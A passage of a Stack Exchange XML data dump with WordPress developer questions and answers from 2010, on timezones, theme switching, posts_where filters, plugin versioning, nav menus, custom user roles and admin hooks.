rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (while waiting approval for plugin repository).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="127" LastEditorUserId="127" LastEditorDisplayName="" LastEditDate="2010-11-11T12:18:23.013" LastActivityDate="2010-11-11T12:18:23.013" CommentCount="7" />
  <row Id="3757" PostTypeId="2" ParentId="907" CreationDate="2010-11-08T05:35:40.703" Score="0" ViewCount="" Body="&lt;p&gt;Awesome Answer from Mike! Very helpful.. thanks..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One small tweak for the transients api example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($posts as $post) {&#xA;  $category_posts[$post-&amp;gt;ID] = $post; // was posts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1146" LastEditorUserId="1146" LastEditorDisplayName="" LastEditDate="2010-11-08T07:04:26.550" LastActivityDate="2010-11-08T07:04:26.550" />
  <row Id="3758" PostTypeId="2" ParentId="3737" CreationDate="2010-11-08T08:04:21.180" Score="1" ViewCount="" Body="&lt;p&gt;See this question and my answer there &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2117/query-posts-using-meta-compare-where-meta-value-is-smaller-or-greater-or-equa&quot;&gt;query_posts -&gt;using meta_compare / where meta value is smaller or greater or equals…&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically for the purpose of meta comparison value is always treated as string, because it is passed as such to &lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt; method.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-08T08:04:21.180" CommentCount="5" />
  <row Id="3759" PostTypeId="1" CreationDate="2010-11-08T08:32:16.710" Score="0" ViewCount="154" Body="&lt;p&gt;I have a wordpress site connected to an automated system that bases its work upon posts' modification date/time. &#xA;In my timezone there have recently been a time swap and the operating system (linux) got it right, but wordpress still uses the &quot;summer&quot; time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read that php returns the &quot;summer&quot; time always, but provides additional information &lt;code&gt;date(I)&lt;/code&gt; 0 or 1 to indicate what time to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress doesn't seem to read that. ( Just as the worldclock plugin, but that's a whole new story:/ )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody experienced with wordpress timezones? Is there a fix or a hack that could help? &lt;/p&gt;&#xA;" OwnerUserId="255" LastActivityDate="2010-11-08T14:04:09.760" Title="Summer/winter time - &quot;daylight savings&quot;" Tags="&lt;timezones&gt;" AnswerCount="2" />
  <row Id="3760" PostTypeId="2" ParentId="3759" CreationDate="2010-11-08T08:52:47.443" Score="0" ViewCount="" Body="&lt;p&gt;Which version of PHP are you using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I remember WordPress has &quot;forked&quot; time management that is fully featured for PHP5, but falls back to older simpler code for PHP4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me it switched just fine and currently shows this in &lt;code&gt;General&lt;/code&gt; settings:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;UTC time is 2010-11-08 8:47:07&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Local time is 2010-11-08 10:47:07&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This timezone is currently in standard time.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Daylight saving time begins on: March 27, 2011 2:00 am.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-08T08:52:47.443" CommentCount="2" />
  <row Id="3761" PostTypeId="1" CreationDate="2010-11-08T09:00:13.633" Score="1" ViewCount="481" Body="&lt;p&gt;I have two themes: &quot;Default&quot; and &quot;Alternate&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to place a link on my site that says &quot;Switch to Alternate Theme&quot;, which will change the default theme to the alternate and vice versa.  A cookie would be set to save which theme the user is currently on, so when they return they will see the last theme they selected.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I change the theme on the fly in wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!   &lt;/p&gt;&#xA;" LastActivityDate="2010-12-08T11:45:50.173" Title="switch theme on fly" Tags="&lt;3.0&gt;&lt;themes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="3762" PostTypeId="2" ParentId="3725" CreationDate="2010-11-08T09:43:56.883" Score="5" ViewCount="" Body="&lt;h1&gt;&lt;a href=&quot;http://scribu.net/wordpress/scb-framework&quot; rel=&quot;nofollow&quot;&gt;scbFramework&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/205/scribu&quot;&gt;&#xA;&lt;img src=&quot;http://wordpress.stackexchange.com/users/flair/205.png?theme=clean&quot; width=&quot;208&quot; height=&quot;58&quot; alt=&quot;profile for scribu at WordPress, Q&amp;amp;A for WordPress developers and administrators&quot; title=&quot;profile for scribu at WordPress, Q&amp;amp;A for WordPress developers and administrators&quot;&gt;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Developed by &lt;a href=&quot;http://scribu.net/&quot; rel=&quot;nofollow&quot;&gt;scribu&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Purpose&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set of plugin development helper classes for creating forms, widgets, admin pages, database tables and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Features&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;can be bundled with plugin or specified as plugin dependency&lt;/li&gt;&#xA;&lt;li&gt;automatically loads latest version of itself, if multiple are present in different plugins&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issues&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;poorly documented&lt;/li&gt;&#xA;&lt;li&gt;tends to use code-generating methods for HTML, which can be inconvenient&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;License&lt;/strong&gt; GPL&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-10T07:23:21.153" LastActivityDate="2011-01-10T07:23:21.153" CommunityOwnedDate="2010-11-08T09:43:56.883" />
  <row Id="3763" PostTypeId="1" AcceptedAnswerId="3766" CreationDate="2010-11-08T10:28:02.367" Score="0" ViewCount="36" Body="&lt;p&gt;If you find a WordPress bug, how do you verify that it has been reported and/ or is being worked on for the next release?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-11-08T11:34:41.717" Title="WordPress bug reporting?" Tags="&lt;bug-tracking&gt;" AnswerCount="1" />
  <row Id="3764" PostTypeId="2" ParentId="3761" CreationDate="2010-11-08T10:47:42.413" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://wordpress.org/extend/plugins/nkthemeswitch/&quot; rel=&quot;nofollow&quot;&gt;Theme Switch and Preview&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are up for coding this yourself, you can use the &lt;code&gt;template&lt;/code&gt; and &lt;code&gt;stylesheet&lt;/code&gt; filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.: to switch to Twenty Ten:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_load_twenty_ten_template() {&#xA;    return 'twentyten';&#xA;}&#xA;&#xA;function custom_load_twenty_ten_stylesheet() {&#xA;    return 'twentyten';&#xA;}&#xA;&#xA;add_filter( 'template', 'custom_load_twenty_ten_template' );&#xA;add_filter( 'stylesheet', 'custom_load_twenty_ten_stylesheet' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-08T10:47:42.413" CommentCount="2" />
  <row Id="3765" PostTypeId="1" AcceptedAnswerId="3768" CreationDate="2010-11-08T10:54:24.950" Score="0" ViewCount="339" Body="&lt;p&gt;How should I use posts_where to change meta_value from a string to integer?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-11-08T11:57:58.547" Title="How should I use posts_where to change meta_value from a string to integer?" Tags="&lt;wp-query&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="3766" PostTypeId="2" ParentId="3763" CreationDate="2010-11-08T11:34:41.717" Score="1" ViewCount="" Body="&lt;p&gt;The process of evaluating and reporting bugs is documented in Codex under &lt;a href=&quot;http://codex.wordpress.org/Reporting_Bugs&quot; rel=&quot;nofollow&quot;&gt;Reporting Bugs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-08T11:34:41.717" />
  <row Id="3767" PostTypeId="1" CreationDate="2010-11-08T11:46:00.237" Score="1" ViewCount="149" Body="&lt;p&gt;Is it possible to change a file in wordpress.org repository (using SVN) without incrementing the plugin minor version?&#xA;Normally, when I change something in my plugin and want to update it in the repository, I need to increment the version and upload the plugin files under /tags folder as a new minor version.&#xA;This will also send a notification to all plugin users of a new version release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should be done in order to make a small change in the existing version without incrementing it and without the notification?&lt;/p&gt;&#xA;" OwnerUserId="1502" LastEditorUserId="1502" LastEditorDisplayName="" LastEditDate="2010-11-08T13:09:03.677" LastActivityDate="2010-11-08T13:09:03.677" Title="Updating my plugin without releasing a new version" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="3768" PostTypeId="2" ParentId="3765" CreationDate="2010-11-08T11:57:58.547" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_where', 'unquote_numeric_meta_value', 10, 2);&#xA;&#xA;function unquote_numeric_meta_value($where, $args) {&#xA;&#xA;    $value = isset($args-&amp;gt;query_vars['meta_value']) ? $args-&amp;gt;query_vars['meta_value'] : false;&#xA;&#xA;    if(is_numeric($value))&#xA;        $where = str_replace(&quot;'{$value}'&quot;, $value, $where);&#xA;&#xA;    return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-08T11:57:58.547" CommentCount="1" />
  <row Id="3769" PostTypeId="2" ParentId="3767" CreationDate="2010-11-08T12:07:17.773" Score="2" ViewCount="" Body="&lt;p&gt;yes, it's absolutely possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you've done developing your plugin, you set &lt;code&gt;Stable Tag&lt;/code&gt; field on &lt;code&gt;trunk/readme.txt&lt;/code&gt; to, lets say 1.0.1&lt;br&gt;&#xA;This value should match with &lt;code&gt;Version&lt;/code&gt; field on your plugin's meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, when you publish your plugin, you tag it with, let's say, /tags/1.0.1/  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To continue development, change &lt;code&gt;Version&lt;/code&gt; field on your plugin's meta data to something else. Increment it would be the better choice. But, you don't need to change your &lt;code&gt;readme.txt&lt;/code&gt;. Leave &lt;code&gt;Stable Tag&lt;/code&gt; intact, just change it once you are ready to publish it. And follow the previous step.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This information is available on &lt;a href=&quot;http://wordpress.org/extend/plugins/about/svn/&quot; rel=&quot;nofollow&quot;&gt;wordpress's page&lt;/a&gt; too.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-11-08T12:07:17.773" CommentCount="7" />
  <row Id="3770" PostTypeId="2" ParentId="2580" CreationDate="2010-11-08T12:30:28.720" Score="1" ViewCount="" Body="&lt;p&gt;When post data is inserted into database it is passed through &lt;code&gt;wp_insert_post_data&lt;/code&gt; filter in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_post()&lt;/code&gt;&lt;/a&gt; function (&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/post.php#L2300&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to documentation you can check for set &lt;code&gt;ID&lt;/code&gt; argument to distinguish posts being updated from posts being created.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-08T12:30:28.720" />
  <row Id="3772" PostTypeId="1" CreationDate="2010-11-08T13:26:04.617" Score="0" ViewCount="191" Body="&lt;p&gt;I did / do have a WordPress hosted blog (with statistics working fine). I've now set-up a self hosted blog and have paid for an off-site redirect from WordPress to my new blog. That all works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I log onto my self hosted admin page I can see the sites statistics, but I'm asked to log in again, this is odd, but I do get to see the statistics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I'm using the WordPress for Android  (1.3.7) application and I log onto my self hosted site I see no statistics unless I go to the year view. This seems to then show me the statistics from the WordPress site, but not my self hosted site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="1080" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-09T11:24:42.420" LastActivityDate="2010-12-09T11:24:42.420" Title="Viewing statistics on self hosted site from Android WordPress app" Tags="&lt;android&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="3773" PostTypeId="2" ParentId="3143" CreationDate="2010-11-08T14:00:22.920" Score="2" ViewCount="" Body="&lt;p&gt;There are hooks for adding actions to specific pages.. and additionally various variables that hold data about the current page, the post type, the parent file, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;admin_print_styles&lt;/code&gt; would be the correct hook to use for enqueuing styles, and for the edit page your action could look a little something like this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_styles-edit.php', 'example_function' ); // Will work for any post type, check inside the callback function&#xA;//add_action( 'admin_print_styles-post-new.php', 'example_function' ); // Example&#xA;//add_action( 'admin_print_styles-edit-tags.php', 'example_function' ); // Example&#xA;function example_function() {&#xA;    global $typenow;&#xA;    if( 'my_custom_type' == $typenow )&#xA;        wp_enqueue_style( 'meteor-slides-admin', plugins_url('/css/meteor-slides-admin.css'), array(), '1.0' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case the hook is &lt;code&gt;edit.php&lt;/code&gt;, each admin page has a similar hook. WordPress &lt;code&gt;admin_header.php&lt;/code&gt; basically has a set of actions that fire, which look like so..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action('admin_enqueue_scripts', $hook_suffix);&#xA;do_action(&quot;admin_print_styles-$hook_suffix&quot;);&#xA;do_action('admin_print_styles');&#xA;do_action(&quot;admin_print_scripts-$hook_suffix&quot;);&#xA;do_action('admin_print_scripts');&#xA;do_action(&quot;admin_head-$hook_suffix&quot;);&#xA;do_action('admin_head');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;admin.php&lt;/code&gt; sets the hook suffix with the following..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$hook_suffix = '';&#xA;if ( isset($page_hook) )&#xA;    $hook_suffix = $page_hook;&#xA;else if ( isset($plugin_page) )&#xA;    $hook_suffix = $plugin_page;&#xA;else if ( isset($pagenow) )&#xA;    $hook_suffix = $pagenow;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the core code aside, the example function i posted further up is a working example you can use for targetting the edit posts(custom type or not) screen....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-08T14:00:22.920" CommentCount="1" />
  <row Id="3774" PostTypeId="2" ParentId="3759" CreationDate="2010-11-08T14:04:09.760" Score="1" ViewCount="" Body="&lt;p&gt;The problem was simple - My wordpress was set up for a general timezone. After picking a city it knew everything about daylight saving time.&lt;/p&gt;&#xA;" OwnerUserId="255" LastActivityDate="2010-11-08T14:04:09.760" />
  <row Id="3775" PostTypeId="1" CreationDate="2010-11-08T14:47:12.190" Score="0" ViewCount="1595" Body="&lt;p&gt;I'm converting this html menu to wordpress:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/&quot; class=&quot;current&quot;&amp;gt;&amp;lt;span&amp;gt;Home&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/&quot;&amp;gt;&amp;lt;span&amp;gt;About&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu(array(&#xA; 'menu'=&amp;gt;'mainmenu' ,&#xA; 'container'       =&amp;gt; false, &#xA; 'link_before'     =&amp;gt; '&amp;lt;span&amp;gt;',&#xA; 'link_after'      =&amp;gt; '&amp;lt;/span&amp;gt;',&#xA; 'theme_location'  =&amp;gt; 'primary')&#xA; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the html i get is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;menu&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li class=&quot;current_page_item&quot;&amp;gt;&amp;lt;a href=&quot;http://localhost/goodsoil/&quot; title=&quot;Home&quot;&amp;gt;&amp;lt;span&amp;gt;Home&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;page_item page-item-2&quot;&amp;gt;&amp;lt;a href=&quot;http://localhost/goodsoil/?page_id=2&quot; title=&quot;About&quot;&amp;gt;&amp;lt;span&amp;gt;About&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i use a custom menu then i get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;menu-test&quot; class=&quot;menu&quot;&amp;gt;&#xA;    &amp;lt;li id=&quot;menu-item-6&quot; class=&quot;menu-item menu-item-type-custom current-menu-item current_page_item menu-item-home menu-item-6&quot;&amp;gt;&amp;lt;a href=&quot;url/&quot;&amp;gt;&amp;lt;span&amp;gt;Home&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li id=&quot;menu-item-5&quot; class=&quot;menu-item menu-item-type-post_type menu-item-5&quot;&amp;gt;&amp;lt;a href=&quot;url/?page_id=2&quot;&amp;gt;&amp;lt;span&amp;gt;About&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if i don't use a custom menu  'container'=&gt;false doesn't work&#xA;Any solution?&lt;/p&gt;&#xA;" OwnerUserId="1484" LastActivityDate="2011-05-28T12:51:03.500" Title="Removing container from wp_nav_menu not working" Tags="&lt;menus&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="3776" PostTypeId="2" ParentId="3775" CreationDate="2010-11-08T15:34:07.753" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;Try: &amp;lt;?php wp_nav_menu( array( 'container' =&amp;gt; '' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_nav_menu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1510" LastActivityDate="2010-11-08T15:34:07.753" CommentCount="3" />
  <row Id="3777" PostTypeId="1" AcceptedAnswerId="3812" CreationDate="2010-11-08T15:35:38.280" Score="3" ViewCount="195" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; The original title was &quot;Custom User Role Restrictions&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A project I am working on requires me to create two new user roles - one for the owner of the website and the other for agents of the company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the website owner user role I was just looking for a way to restrict users in this group from modifying core site settings while having access to modify all other settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below seems to work perfectly for everything other than the user management area. I did want users of this group to be able to add/modify website users BUT where I am running into a problem is that users of this group currently have the ability to create users in the &lt;em&gt;&quot;Administrator&quot;&lt;/em&gt; category and they are also able to deleting existing &lt;em&gt;&quot;Administrators&quot;&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am looking for is a way to modify the code below so that such users can NOT delete or modify a user account which is set as &lt;em&gt;&quot;Administrator&quot;&lt;/em&gt; and restrict the user from being able to create a new Administrator account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how this can be done?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CREATE CUSTOM - SITE OWNER - USER ROLE WITH CUSTOM CAPABILITIES&#xA;if (!get_role('website_owner')) {&#xA;  //let's use the editor as the base capabilities&#xA;  $caps = get_role('editor')-&amp;gt;capabilities; &#xA;  $caps = array_merge( $caps, array(&#xA;    'install_plugins'               =&amp;gt; false,&#xA;    'activate_plugins'              =&amp;gt; false,&#xA;    'update_plugins'                =&amp;gt; false,&#xA;    'delete_plugins'                =&amp;gt; false,&#xA;    'list_users'                    =&amp;gt; true,&#xA;    'add_users'                     =&amp;gt; true,&#xA;    'create_users'                  =&amp;gt; true,&#xA;    'edit_users'                    =&amp;gt; true,&#xA;    'delete_users'                  =&amp;gt; true,&#xA;    'remove_users'                  =&amp;gt; true,&#xA;    'unfiltered_upload'             =&amp;gt; true,&#xA;    'install_themes'                =&amp;gt; false,&#xA;    'update_themes'                 =&amp;gt; false,&#xA;    'delete_themes'                 =&amp;gt; false,&#xA;    'switch_themes'                 =&amp;gt; false,&#xA;    'edit_theme_options'            =&amp;gt; true,&#xA;    'manage_options'                =&amp;gt; false,&#xA;    'import'                        =&amp;gt; false,&#xA;    'update_core'                   =&amp;gt; false,&#xA;    'edit_dashboard'                =&amp;gt; false,&#xA;    'gravityforms_view_entries'     =&amp;gt; true,&#xA;    'gravityforms_edit_entries'     =&amp;gt; true,&#xA;    'gravityforms_delete_entries'   =&amp;gt; true,&#xA;    'gravityforms_export_entries'   =&amp;gt; true,&#xA;    'gravityforms_view_entry_notes' =&amp;gt; true,&#xA;    'gravityforms_edit_entry_notes' =&amp;gt; true,&#xA;    'gravityforms_feed'             =&amp;gt; true,&#xA;  )); //adding new capabilities.&#xA;  // Ref: http://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table&#xA;  add_role( 'website_owner', 'Website Owner', $caps );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2010-11-09T11:27:24.863" LastActivityDate="2010-11-12T00:04:57.707" Title="Disallowing Users of a Custom Role from Deleting or Adding Administrators?" Tags="&lt;users&gt;&lt;capabilities&gt;&lt;roles&gt;&lt;user-access&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" />
  <row Id="3778" PostTypeId="2" ParentId="3456" CreationDate="2010-11-08T15:47:22.447" Score="1" ViewCount="" Body="&lt;p&gt;To remove the Headline, you'll need to edit your theme's files.  You're looking for a section that looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;top&quot; class=&quot;clearFloat&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;headline&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;../images/headline.png&quot; width=&quot;75px&quot; height=&quot;21px&quot; /&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Delete the &lt;code&gt;&amp;lt;img src=.../&amp;gt;&lt;/code&gt; line and the word &quot;Headline&quot; will disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The drop-down menu can be repaired via CSS.  Right now you're facing a positioning issue.  In your stylesheet (&lt;code&gt;/wp-content/themes/arthemia/style.css&lt;/code&gt;) find the section of code that defines the navigation bar (&lt;code&gt;#navbar&lt;/code&gt;).  You should see this already defined:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;background: #2C2C2C url(images/navbar.png);&#xA;margin: 15px auto 0px;&#xA;margin-top: 15px;&#xA;margin-top: 15px;&#xA;padding: 0px 10px;&#xA;text-transform: uppercase;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to add the following two definitions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;position:relative;&#xA;z-index:100;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will tell the browser to position the navigation bar relative to its original position (which doesn't change anything) but also to place it 100 layers above everything else.  The drop-down menu will then render &lt;em&gt;on top&lt;/em&gt; of your slide deck.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-08T15:47:22.447" />
  <row Id="3779" PostTypeId="2" ParentId="1563" CreationDate="2010-11-08T16:24:38.250" Score="3" ViewCount="" Body="&lt;p&gt;It should be noted that in order to add a settings field you must register that field to a registered section..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this must be used alongside your own registered section, or alternatively be a field to add to an existing section (such as those throughout the options pages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_settings_section&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_settings_section&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would go so far as to say these are not really very good when it comes to building plugin options pages or alike(theme options), simply because every registered section and field must be provided with a callback (imagine how many callbacks you'll need if you have 3-4 sections all with 5-6 fields). You can of course make dynamic callbacks (so you only need one callback for a section and one for the fields) by passing along parameters... (you'll also need to make sure you print the nonces for these sections/fields)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally i find it's better to just register your options/settings, and print out your own sections/fields, and call a single nonce to cover all your settings..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// 1: Reference, 2: Option name, 3: Callback function to sanitize the data&#xA;register_setting( 'reference_name', 'option_name', 'example_callback' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then wherever you print your various option fields, you only need print one nonce that covers the lot..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;settings_fields( 'reference_name' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you registered various sections and fields you'd also have to do this for each of the registered sections.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_settings_sections('your_section');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Really the only important aspect of setting up custom options is to make sure you define your own callback when registering the settings and appropriately sanitizing that data (third parameter for register_setting).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-08T16:24:38.250" />
  <row Id="3780" PostTypeId="1" AcceptedAnswerId="3784" CreationDate="2010-11-08T17:06:04.470" Score="0" ViewCount="245" Body="&lt;p&gt;I have a &lt;a href=&quot;http://wordpress.org/extend/plugins/restrict-categories/&quot; rel=&quot;nofollow&quot;&gt;plugin that restricts the categories&lt;/a&gt; users can view/edit in the admin.  All works fine in WordPress 3.0.1, but as I started testing 3.1 I noticed that the category filter, which is AJAX, allows you to bypass the restrictions.  I'm able to filter this out in 3.0.1 because it's submitted via URL parameters.  My trouble is being able to $_GET the 'cat' parameter from the new AJAX request.  I have tried testing for $_SERVER['HTTP_X_REQUESTED_WITH'], but it doesn't register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've asked this question on the wp-hackers mailing list, but no one can give me actual code that helps with my predicament.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-03T18:20:14.570" LastActivityDate="2011-01-03T18:20:14.570" Title="Get cat parameter from admin-ajax" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;jquery&gt;&lt;ajax&gt;" AnswerCount="1" />
